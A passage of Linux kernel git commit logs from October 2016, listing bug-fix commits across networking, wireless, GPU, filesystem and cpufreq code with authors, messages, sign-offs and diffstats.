1 insertion(+) commit ab102b80cef28c20b3ef7794806c3a982c6444fc Author: WANG Cong Date: Tue Oct 11 10:56:45 2016 -0700 net_sched: reorder pernet ops and act ops registrations Krister reported a kernel NULL pointer dereference after tcf_action_init_1() invokes a_o->init(), it is a race condition where one thread calling tcf_register_action() to initialize the netns data after putting act ops in the global list and the other thread searching the list and then calling a_o->init(net, ...). Fix this by moving the pernet ops registration before making the action ops visible. This is fine because: a) we don't rely on act_base in pernet ops->init(), b) in the worst case we have a fully initialized netns but ops is still not ready so new actions still can't be created. Reported-by: Krister Johansen Tested-by: Krister Johansen Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/act_api.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit d1ef006dc116bf6487426b0b50c1bf2bf51e6423 Author: David Vrabel Date: Tue Oct 11 16:48:27 2016 +0100 xen-netback: fix guest Rx stall detection (after guest Rx refactor) If a VIF has been ready for rx_stall_timeout (60s by default) and an Rx ring is drained of all requests an Rx stall will be incorrectly detected. When this occurs and the guest Rx queue is empty, the Rx ring's event index will not be set and the frontend will not raise an event when new requests are placed on the ring, permanently stalling the VIF. This is a regression introduced by eb1723a29b9a7 (xen-netback: refactor guest rx). Fix this by reinstating the setting of queue->last_rx_time when placing a packet onto the guest Rx ring. Signed-off-by: David Vrabel Reviewed-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/rx.c | 2 ++ 1 file changed, 2 insertions(+) commit 02a9079c66341836c4914c33c06a73245060df2e Author: Vlad Tsyrklevich Date: Tue Oct 11 15:02:47 2016 +0200 drivers/ptp: Fix kernel memory disclosure The reserved field precise_offset->rsv is not cleared before being copied to user space, leaking kernel stack memory. Clear the struct before it's copied. Signed-off-by: Vlad Tsyrklevich Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/ptp/ptp_chardev.c | 1 + 1 file changed, 1 insertion(+) commit b8a4ddb2e8f44f872fb93bbda2d541b27079fd2b Author: Tom Herbert Date: Wed Oct 12 04:57:10 2016 +0300 net/mlx5: Add MLX5_ARRAY_SET64 to fix BUILD_BUG_ON I am hitting this in mlx5: drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c: In function reclaim_pages_cmd.clone.0: drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c:346: error: call to __compiletime_assert_346 declared with attribute error: BUILD_BUG_ON failed: __mlx5_bit_off(manage_pages_out, pas[i]) % 64 drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c: In function give_pages: drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c:291: error: call to __compiletime_assert_291 declared with attribute error: BUILD_BUG_ON failed: __mlx5_bit_off(manage_pages_in, pas[i]) % 64 Problem is that this is doing a BUILD_BUG_ON on a non-constant expression because of trying to take offset of pas[i] in the structure. Fix is to create MLX5_ARRAY_SET64 that takes an additional argument that is the field index to separate between BUILD_BUG_ON on the array constant field and the indexed field to assign the value to. There are two callers of MLX5_SET64 that are trying to get a variable offset, change those to call MLX5_ARRAY_SET64 passing 'pas' and 'i' as the arguments to use in the offset check and the indexed value assignment. Fixes: a533ed5e179cd ("net/mlx5: Pages management commands via mlx5 ifc") Signed-off-by: Tom Herbert Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c | 4 ++-- include/linux/mlx5/device.h | 13 +++++++++++-- 2 files changed, 13 insertions(+), 4 deletions(-) commit f957a5308dbbdf67aa4f8ac3233a61e802bd2373 Author: Jiri Olsa Date: Mon Oct 10 09:56:32 2016 +0200 perf header: Set nr_numa_nodes only when we parsed all the data Sukadev reported segfault on releasing perf env's numa data. It's due to nr_numa_nodes being set no matter if the numa data gets parsed properly. The perf_env__exit crash the on releasing non existed data. Setting nr_numa_nodes only when data are parsed out properly. Signed-off-by: Jiri Olsa Reported-by: Sukadev Bhattiprolu Cc: Adrian Hunter Cc: David Ahern Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-dt9c0zgkt4hybn2cr4xiawta@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/header.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c611152373e84a7677cd7d496e849de4debdab66 Author: Namhyung Kim Date: Fri Oct 7 14:04:12 2016 +0900 perf top: Fix refreshing hierarchy entries on TUI Markus reported that 'perf top --hierarchy' cannot scroll down after refresh. This was because the number of entries are not updated when hierarchy is enabled. Unlike normal report view, hierarchy mode needs to keep its own entry count since it can have non-leaf entries which can expand/collapse. Reported-and-Tested-by: Markus Trippelsdorf Signed-off-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Fixes: f5b763feebe9 ("perf hists browser: Count number of hierarchy entries") Link: http://lkml.kernel.org/r/20161007050412.3000-1-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9a765881bf3dcd32847d7108cf48cb04a4ed993f Author: Bjørn Mork Date: Mon Oct 10 21:12:49 2016 +0200 qmi_wwan: add support for Quectel EC21 and EC25 The Quectel EC21 and EC25 need the same "set DTR" request as devices based on the MDM9230 chipset, but has no USB3 support. Our best guess is that the "set DTR" functionality depends on chipset and/or baseband firmware generation. But USB3 is still an optional feature. Since we cannot enable this unconditionally for all older devices, and there doesn't appear to be anything we can use in the USB descriptors to identify these chips, we are forced to use a device specific quirk flag. Reported-and-tested-by: Sebastian Sjoholm Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller drivers/net/usb/qmi_wwan.c | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) commit 4013bee5f0041cb24da0673bcbfbf2d4dd19aa4e Merge: 88a2428 3145c03 Author: David S. Miller Date: Thu Oct 13 10:03:24 2016 -0400 Merge branch 'ovs-8021AD-fixes' Jiri Benc says: ==================== openvswitch: vlan fixes Fix three issues introduced by the 802.1AD patchset. ==================== Signed-off-by: David S. Miller commit 3145c037e74926dea9241a3f68ada6f294b0119a Author: Jiri Benc Date: Mon Oct 10 17:02:44 2016 +0200 openvswitch: add NETIF_F_HW_VLAN_STAG_TX to internal dev The internal device does support 802.1AD offloading since 018c1dda5ff1 ("openvswitch: 802.1AD Flow handling, actions, vlan parsing, netlink attributes"). Signed-off-by: Jiri Benc Acked-by: Pravin B Shelar Acked-by: Eric Garver Signed-off-by: David S. Miller net/openvswitch/vport-internal_dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72ec108d701506fa6cd2f66ec5b15ea71df3c464 Author: Jiri Benc Date: Mon Oct 10 17:02:43 2016 +0200 openvswitch: fix vlan subtraction from packet length When the packet has its vlan tag in skb->vlan_tci, the length of the VLAN header is not counted in skb->len. It doesn't make sense to subtract it. Fixes: 018c1dda5ff1 ("openvswitch: 802.1AD Flow handling, actions, vlan parsing, netlink attributes") Signed-off-by: Jiri Benc Acked-by: Pravin B Shelar Acked-by: Eric Garver Signed-off-by: David S. Miller net/openvswitch/vport.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 20ecf1e4e30005ad50f561a92c888b6477f99341 Author: Jiri Benc Date: Mon Oct 10 17:02:42 2016 +0200 openvswitch: vlan: remove wrong likely statement This code is called whenever flow key is being extracted from the packet. The packet may be as likely vlan tagged as not. Fixes: 018c1dda5ff1 ("openvswitch: 802.1AD Flow handling, actions, vlan parsing, netlink attributes") Signed-off-by: Jiri Benc Acked-by: Pravin B Shelar Acked-by: Eric Garver Signed-off-by: David S. Miller net/openvswitch/flow.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88a2428b83db4328e69d1c0e2f7364041b8045bf Author: Wei Yongjun Date: Mon Oct 10 14:08:28 2016 +0000 qed: Fix to use list_for_each_entry_safe() when delete items Since we will remove items off the list using list_del() we need to use a safe version of the list_for_each_entry() macro aptly named list_for_each_entry_safe(). Signed-off-by: Wei Yongjun Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_ll2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1e09c106a44c2b2685a77a1ef27951381c9fcd23 Author: Arnd Bergmann Date: Mon Oct 10 14:41:10 2016 +0200 tlan: avoid unused label with PCI=n While build testing with randconfig on x86, I ran into this warning that appears to have been around forever drivers/net/ethernet/ti/tlan.c: In function ‘tlan_probe1’: drivers/net/ethernet/ti/tlan.c:614:1: error: label ‘err_out’ defined but not used [-Werror=unused-label] This can be trivially avoided by just moving the label into the existing #ifdef. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/ethernet/ti/tlan.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a9339b8e138d81b6ee928d0de3372c551cbd3d34 Author: Paul Durrant Date: Mon Oct 10 09:30:53 2016 +0100 xen-netback: (re-)create a debugfs node for hash information It is useful to be able to see the hash configuration when running tests. This patch adds a debugfs node for that purpose. The original version of this patch (commit c0c64c152389) was reverted due to build failures caused by a conflict with commit 0364a8824c02 ("xen-netback: switch to threaded irq for control ring"). This new version of the patch is nearly identical to the original, the only difference being that creation of the debugfs node is predicated on 'ctrl_irq' being non-zero rather then the now non-existent 'ctrl_task'. Signed-off-by: Paul Durrant Cc: Wei Liu Cc: David S. Miller Acked-by: Wei Liu Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 4 +++ drivers/net/xen-netback/hash.c | 68 ++++++++++++++++++++++++++++++++++++++++ drivers/net/xen-netback/xenbus.c | 37 ++++++++++++++++++++-- 3 files changed, 107 insertions(+), 2 deletions(-) commit fa59b27c9d6f84e91e333175a242afa4aee79283 Author: Eric Dumazet Date: Sun Oct 9 20:25:55 2016 -0700 net_sched: do not broadcast RTM_GETTFILTER result There are two ways to get tc filters from kernel to user space. 1) Full dump (tc_dump_tfilter()) 2) RTM_GETTFILTER to get one precise filter, reducing overhead. The second operation is unfortunately broadcasting its result, polluting "tc monitor" users. This patch makes sure only the requester gets the result, using netlink_unicast() instead of rtnetlink_send() Jamal cooked an iproute2 patch to implement "tc filter get" operation, but other user space libraries already use RTM_GETTFILTER when a single filter is queried, instead of dumping all filters. Signed-off-by: Eric Dumazet Cc: Jamal Hadi Salim Acked-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/cls_api.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit c975e39ccadf6dc047356c60773a043a2293b8cd Author: Dan Carpenter Date: Thu Oct 13 11:47:13 2016 +0300 ASoC: rt5663: fix a debug statement We increment "i" before printing the debug statement. That makes it the wrong sleep_time[] information and Smatch complains that the last increment could be beyond the end of the array. Signed-off-by: Dan Carpenter Acked-by: Bard Liao Signed-off-by: Mark Brown sound/soc/codecs/rt5663.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit abb6627910a1e783c8e034b35b7c80e5e7f98f41 Author: Rafael J. Wysocki Date: Wed Oct 12 21:47:03 2016 +0200 cpufreq: conservative: Fix next frequency selection Commit d352cf47d93e (cpufreq: conservative: Do not use transition notifications) overlooked the case when the "frequency step" used by the conservative governor is small relative to the distances between the available frequencies and broke the algorithm by using policy->cur instead of the previously requested frequency when computing the next one. As a result, the governor may not be able to go outside of a narrow range between two consecutive available frequencies. Fix the problem by making the governor save the previously requested frequency and select the next one relative that value (unless it is out of range, in which case policy->cur will be used instead). Fixes: d352cf47d93e (cpufreq: conservative: Do not use transition notifications) Link: https://bugzilla.kernel.org/show_bug.cgi?id=177171 Reported-and-tested-by: Aleksey Rybalkin Acked-by: Viresh Kumar Cc: 4.8+ # 4.8+ Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq_conservative.c | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) commit 1ea2643961b0d1b8d0e4a11af5aa69b0f92d0533 Author: Adam Williamson Date: Wed Oct 12 19:08:40 2016 +0100 ath6kl: add Dell OEM SDIO I/O for the Venue 8 Pro SDIO ID 0271:0418 Signed-off-by: Alan Cox Bugzilla-ID: https://bugzilla.kernel.org/show_bug.cgi?id=67921 Reviewed-by: Steve deRosier Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath6kl/sdio.c | 1 + 1 file changed, 1 insertion(+) commit 304e5ac118cc351eb047b6c433a89e13ea7259cf Author: Felix Fietkau Date: Tue Oct 11 19:46:49 2016 +0200 Revert "ath9k_hw: implement temperature compensation support for AR9003+" This reverts commit 171f6402e4aa ("ath9k_hw: implement temperature compensation support for AR9003+"). Some users report that this commit causes a regression in performance under some conditions. Fixes: 171f6402e4aa ("ath9k_hw: implement temperature compensation support for AR9003+") Cc: # 4.8 Signed-off-by: Felix Fietkau [kvalo@qca.qualcomm.com: improve commit log] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/ar9003_calib.c | 25 +++---------------------- drivers/net/wireless/ath/ath9k/hw.h | 1 - 2 files changed, 3 insertions(+), 23 deletions(-) commit f67b107d4ceddcf7aa65b706aaaf50d68edb52a6 Author: Marty Faltesek Date: Mon Oct 10 19:00:04 2016 +0300 ath10k: cache calibration data when the core is stopped Commit 0b8e3c4ca29f ("ath10k: move cal data len to hw_params") broke retrieving the calibration data from cal_data debugfs file. The length of file was always zero. The reason is: static ssize_t ath10k_debug_cal_data_read(struct file *file, char __user *user_buf, size_t count, loff_t *ppos) { struct ath10k *ar = file->private_data; void *buf = file->private_data; This is obviously bogus, private_data cannot contain both struct ath10k and the buffer. Fix it by caching calibration data to ar->debug.cal_data. This also allows it to be accessed when the device is not active (interface is down). The cal_data buffer is fixed size because during the first firmware probe we don't yet know what will be the lenght of the calibration data. It was simplest just to use a fixed length. There's a WARN_ON() in ath10k_debug_cal_data_fetch() if the buffer is too small. Tested with qca988x and firmware 10.2.4.70.56. Reported-by: Nikolay Martynov Fixes: 0b8e3c4ca29f ("ath10k: move cal data len to hw_params") Cc: stable@vger.kernel.org # 4.7+ Signed-off-by: Marty Faltesek [kvalo@qca.qualcomm.com: improve commit log and minor other changes] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.h | 1 + drivers/net/wireless/ath/ath10k/debug.c | 75 +++++++++++++++++---------------- 2 files changed, 40 insertions(+), 36 deletions(-) commit cf4747d7535a936105f0abe8d8109d3fe339162b Author: Larry Finger Date: Wed Oct 12 13:54:04 2016 -0500 rtlwifi: Fix regression caused by commit d86e64768859 In commit d86e64768859 ("rtlwifi: rtl818x: constify local structures"), the configuration struct for most of the drivers was changed to be constant. The problem is that five of the modified drivers need to be able to update the firmware name based on the exact model of the card. As the file names were stored in one of the members of that struct, these drivers would fail with a kernel BUG splat when they tried to update the firmware name. Rather than reverting the previous commit, I used a suggestion by Johannes Berg and made the firmware file name pointers be local to the routines that update the software variables. The configuration struct of rtl8192cu, which was not touched in the previous patch, is now constantfied. Fixes: d86e64768859 ("rtlwifi: rtl818x: constify local structures") Suggested-by: Johannes Berg Signed-off-by: Larry Finger Cc: Stable # 4.8 Cc: Julia Lawall Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/core.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8188ee/sw.c | 8 ++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192ce/sw.c | 13 +++++-------- drivers/net/wireless/realtek/rtlwifi/rtl8192cu/sw.c | 12 ++++++------ drivers/net/wireless/realtek/rtlwifi/rtl8192de/sw.c | 6 +++--- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/sw.c | 8 ++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192se/sw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/sw.c | 12 +++++------- drivers/net/wireless/realtek/rtlwifi/rtl8723be/sw.c | 6 +++--- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/sw.c | 18 +++++++++--------- drivers/net/wireless/realtek/rtlwifi/wifi.h | 2 -- 11 files changed, 45 insertions(+), 51 deletions(-) commit 07096f612fdf2bb5578cd1fecb2884bdbb1cde42 Author: David Howells Date: Thu Oct 13 08:43:17 2016 +0100 rxrpc: Fix checking of error from ip6_route_output() ip6_route_output() doesn't return a negative error when it fails, rather the ->error field of the returned dst_entry struct needs to be checked. Reported-by: Dan Carpenter Fixes: 75b54cb57ca3 ("rxrpc: Add IPv6 support") Signed-off-by: David Howells net/rxrpc/peer_object.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 54fde4234579d3b1311b3ed1a1e95526a7cfdcd7 Author: David Howells Date: Thu Oct 13 08:39:52 2016 +0100 rxrpc: Fix checker warning by not passing always-zero value to ERR_PTR() Fix the following checker warning: net/rxrpc/call_object.c:279 rxrpc_new_client_call() warn: passing zero to 'ERR_PTR' where a value that's always zero is passed to ERR_PTR() so that it can be passed to a tracepoint in an auxiliary pointer field. Just pass NULL instead to the tracepoint. Fixes: a84a46d73050 ("rxrpc: Add some additional call tracing") Reported-by: Dan Carpenter Signed-off-by: David Howells net/rxrpc/call_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 233c9edcca0136f2b9b304fd4f32e9bb6ce88ea9 Author: Dan Carpenter Date: Wed Oct 12 09:09:44 2016 +0300 afs: unmapping the wrong buffer We switched from kmap_atomic() to kmap() so the kunmap() calls need to be updated to match. Fixes: d001648ec7cf ('rxrpc: Don't expose skbs to in-kernel users [ver #2]') Signed-off-by: Dan Carpenter Signed-off-by: David Howells fs/afs/fsclient.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5e2bd93b8fcac8c0cf83f189d996831fb21f2db3 Author: Jérôme de Bretagne Date: Sun Oct 9 15:51:05 2016 +0200 Bluetooth: hci_bcm: Fix autosuspend PM for Lenovo ThinkPad 8 ACPI table for BCM2E55 of Lenovo ThinkPad 8 is not correct. Set correctly IRQ polarity for this device, fixing the issue of bluetooth never resuming after autosuspend PM. Signed-off-by: Jérôme de Bretagne Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_bcm.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 77da3da0b22a67508eb1cf2b241a1fe852a6cb1a Author: Aaron Brice Date: Mon Oct 10 11:39:52 2016 -0700 mmc: sdhci-esdhc-imx: Correct two register accesses - The DMA error interrupt bit is in a different position as compared to the sdhci standard. This is accounted for in many cases, but not handled in the case of clearing the INT_STATUS register by writing a 1 to that location. - The HOST_CONTROL register is very different as compared to the sdhci standard. This is accounted for in the write case, but not when read back out (which it is in the sdhci code). Signed-off-by: Dave Russell Signed-off-by: Aaron Brice Acked-by: Dong Aisheng Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-esdhc-imx.c | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit fb4454376df9d820d95452d71dd83da6971f9338 Author: Eric Biggers Date: Wed Oct 12 23:30:16 2016 -0400 fscrypto: make XTS tweak initialization endian-independent The XTS tweak (or IV) was initialized differently on little endian and big endian systems. Because the ciphertext depends on the XTS tweak, it was not possible to use an encrypted filesystem created by a little endian system on a big endian system and vice versa, even if they shared the same PAGE_SIZE. Fix this by always using little endian. This will break hypothetical big endian users of ext4 or f2fs encryption. However, all users we are aware of are little endian, and it's believed that "real" big endian users are unlikely to exist yet. So this might as well be fixed now before it's too late. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org fs/crypto/crypto.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit c4704a4fbe834eee4109ca064131d440941f6235 Author: Eric Biggers Date: Wed Oct 12 23:24:51 2016 -0400 ext4: do not advertise encryption support when disabled The sysfs file /sys/fs/ext4/features/encryption was present on kernels compiled with CONFIG_EXT4_FS_ENCRYPTION=n. This was misleading because such kernels do not actually support ext4 encryption. Therefore, only provide this file on kernels compiled with CONFIG_EXT4_FS_ENCRYPTION=y. Note: since the ext4 feature files are all hardcoded to have a contents of "supported", it really is the presence or absence of the file that is significant, not the contents (and this change reflects that). Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org fs/ext4/sysfs.c | 4 ++++ 1 file changed, 4 insertions(+) commit 559cce698eaf4ccecb2213b2519ea3a0413e5155 Author: Taesoo Kim Date: Wed Oct 12 23:19:18 2016 -0400 jbd2: fix incorrect unlock on j_list_lock When 'jh->b_transaction == transaction' (asserted by below) J_ASSERT_JH(jh, (jh->b_transaction == transaction || ... 'journal->j_list_lock' will be incorrectly unlocked, since the the lock is aquired only at the end of if / else-if statements (missing the else case). Signed-off-by: Taesoo Kim Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger Fixes: 6e4862a5bb9d12be87e4ea5d9a60836ebed71d28 Cc: stable@vger.kernel.org # 3.14+ fs/jbd2/transaction.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 651e1c3b1576c5ffda6df01db1ef535eeb8b1a37 Author: Joe Perches Date: Wed Oct 12 23:12:53 2016 -0400 ext4: super.c: Update logging style using KERN_CONT Recent commit require line continuing printks to use PR_CONT. Update super.c to use KERN_CONT and use vsprintf extension %pV to avoid a printk/vprintk/printk("\n") sequence as well. Signed-off-by: Joe Perches Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara fs/ext4/super.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit de0dcc40f6e24d6bac6b60e36eac4659bbbd3f00 Author: Jaegeuk Kim Date: Wed Oct 12 13:38:41 2016 -0700 f2fs: fix wrong sum_page pointer in f2fs_gc This patch fixes using a wrong pointer for sum_page in f2fs_gc. Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit ea893695ec1131a5fed0523ff8094bc6e8723bbe Author: Arnd Bergmann Date: Wed Oct 12 21:31:40 2016 +0200 platform/x86: asus-wmi: add SERIO_I8042 dependency A recent bugfix added a call to i8042_install_filter but did not add the dependency, leading to possible link errors: drivers/platform/built-in.o: In function `asus_nb_wmi_quirks': asus-nb-wmi.c:(.text+0x23af): undefined reference to `i8042_install_filter' This adds a dependency on SERIO_I8042||SERIO_I8042=n to indicate that we can build the driver when the i8042 driver is disabled, but it cannot be built-in when that is a loadable module. Fixes: b5643539b825 ("platform/x86: asus-wmi: Filter buggy scan codes on ASUS Q500A") Signed-off-by: Arnd Bergmann Signed-off-by: Darren Hart drivers/platform/x86/Kconfig | 1 + 1 file changed, 1 insertion(+) commit d9ed71e5457c8c5bf1dc706e06468eab9e2aa87e Merge: 19c4d2f 0e67578 Author: Chris Mason Date: Wed Oct 12 13:16:00 2016 -0700 Merge branch 'fst-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux into for-linus-4.9 Signed-off-by: Chris Mason commit abc4b9a53ea8153e0e028762b22cb213685c52e3 Author: Joe Perches Date: Wed Oct 12 11:50:34 2016 -0700 acpi_os_vprintf: Use printk_get_level() to avoid unnecessary KERN_CONT acpi_os_vprintf currently always uses a KERN_CONT prefix which may be followed immediately by a proper KERN_. Check if the buffer already has a KERN_ at the start of the buffer and avoid the unnecessary KERN_CONT. Signed-off-by: Joe Perches Signed-off-by: Rafael J. Wysocki drivers/acpi/osl.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 4a446d55843fb82fc5bc6c72d27bfc20b6c294c3 Author: Alex Deucher Date: Fri Oct 7 14:48:18 2016 -0400 drm/amdgpu: clarify UVD/VCE special handling for CG UVD and VCE CG are handled specially, however the previous fix for this skipped late init for those blocks rather than just CG. Just protect the CG function call. No functional change since UVD and VCE don't currently utilize a late_init function. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit b0b00ff16f2715562b7ea0dfa3a9c5b33328c8cb Author: Arindam Nath Date: Fri Oct 7 19:01:37 2016 +0530 drm/amd/amdgpu: enable clockgating only after late init Sometimes during multiple reboots, the system hangs during bootup. The issue is very random and happens once in around 50 reboots or so. It seems if clockgating is enabled before late init, the GFX engine sometimes does not respond. This patch changes the ordering a little so that both powergating and clockgating are enabled only after late init calls. Reviewed-by: Christian König Signed-off-by: Arindam Nath Tested-by: Sunil Uttarwar Reviewed-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 113d0f9db7be5a3038d9800ea1dddfb373c2b5a6 Author: Marek Olšák Date: Mon Oct 10 13:23:25 2016 +0200 drm/radeon: allow TA_CS_BC_BASE_ADDR on SI Required for border colors in compute shaders. Reviewed-by: Edward O'Callaghan Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Marek Olšák Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_drv.c | 3 ++- drivers/gpu/drm/radeon/si.c | 1 + drivers/gpu/drm/radeon/sid.h | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) commit ce199ad690bd0a6ac6bf9e4df2c87b59d76f84da Author: Nicolai Hähnle Date: Tue Oct 4 09:43:30 2016 +0200 drm/amdgpu: initialize the context reset_counter in amdgpu_ctx_init Ensure that we really only report a GPU reset if one has happened since the creation of the context. Signed-off-by: Nicolai Hähnle Reviewed-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ctx.c | 3 +++ 1 file changed, 3 insertions(+) commit 6ae81452f9278ba1accdd4152d75061a8349a0f3 Author: Alex Deucher Date: Fri Oct 7 16:00:47 2016 -0400 drm/amdgpu/gfx8: fix CGCG_CGLS handling When setting up the RLC, only disable the CGCG and CGLS bits rather than clearing the entire register to avoid losing the golden settings. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 9305ee6fe52035f63d70d023235b792ba22107f0 Author: Alex Deucher Date: Tue Oct 11 10:57:39 2016 -0400 drm/radeon: fix modeset tear down code The ordering caused problems. bug: https://bugs.freedesktop.org/show_bug.cgi?id=98200 Reviewed-and-Tested-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_display.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit b0c80bd5d2e317f7596fe2badc1a3379fb3211e5 Author: Alex Deucher Date: Tue Oct 11 10:44:24 2016 -0400 drm/radeon: fix up dp aux tear down (v2) Port the amdgpu fixes from Grazvydas to radeon. v2: drop unrelated whitespace change. bug: https://bugs.freedesktop.org/show_bug.cgi?id=98200 Reviewed-and-Tested-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_connectors.c | 17 +++++++++++++++++ drivers/gpu/drm/radeon/radeon_i2c.c | 3 +-- 2 files changed, 18 insertions(+), 2 deletions(-) commit 40492f60794aaf32576cb42d9af86eed785a6e63 Author: Grazvydas Ignotas Date: Sun Oct 9 20:28:19 2016 +0300 drm/amdgpu: use .early_unregister hook to remove DP AUX i2c When DisplayPort AUX channel i2c adapter is registered, drm_connector's kdev member is used as a parent, so we get sysfs structure like: /drm/card1/card1-DP-2/i2c-12 Because of that, there is a problem when drm core (and not the driver) calls drm_connector_unregister(), it removes parent sysfs entries ('card1-DP-2' in our example) while the i2c adapter is still registered. Later we get a WARN when we try to unregister the i2c adapter: WARNING: CPU: 3 PID: 1374 at fs/sysfs/group.c:243 sysfs_remove_group+0x14c/0x150 sysfs group ffffffff82911e40 not found for kobject 'i2c-12' To fix it, we can use the .early_unregister hook to unregister the i2c adapter before drm_connector's sysfs is torn down. Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit e311404f7925f6879817ebf471651c0bb5935604 Author: Juergen Gross Date: Wed Oct 12 13:11:45 2016 +0200 ACPI / PAD: don't register acpi_pad driver if running as Xen dom0 When running as Xen dom0 a special processor_aggregator driver is needed. Don't register the standard driver in this case. Without that check an error message: "Error: Driver 'processor_aggregator' is already registered, aborting..." will be displayed. Signed-off-by: Juergen Gross [ rjw: Minor fixups ] Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_pad.c | 5 +++++ 1 file changed, 5 insertions(+) commit 899bb6642f2a2f2cd3f77abd6c5a14550e3b37e6 Author: Aaro Koskinen Date: Wed Oct 12 08:45:05 2016 +0530 cpufreq: skip invalid entries when searching the frequency Skip invalid entries when searching the frequency. This fixes cpufreq at least on loongson2 MIPS board. Fixes: da0c6dc00c69 (cpufreq: Handle sorted frequency tables more efficiently) Signed-off-by: Aaro Koskinen Signed-off-by: Viresh Kumar Cc: 4.8+ # 4.8+ Signed-off-by: Rafael J. Wysocki include/linux/cpufreq.h | 104 ++++++++++++++++++++++++------------------------ 1 file changed, 52 insertions(+), 52 deletions(-) commit 3954517e2f083c8aeb52bfd467b7b2c164232ffc Author: Rafael J. Wysocki Date: Tue Oct 11 23:07:38 2016 +0200 cpufreq: intel_pstate: Fix struct pstate_adjust_policy kerneldoc It looks like the name of struct pstate_adjust_policy was updated without updating its kerneldoc comment accordingly, so fix that mistake. Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 2 +- 1 file changed, 1 insertion(+), 1 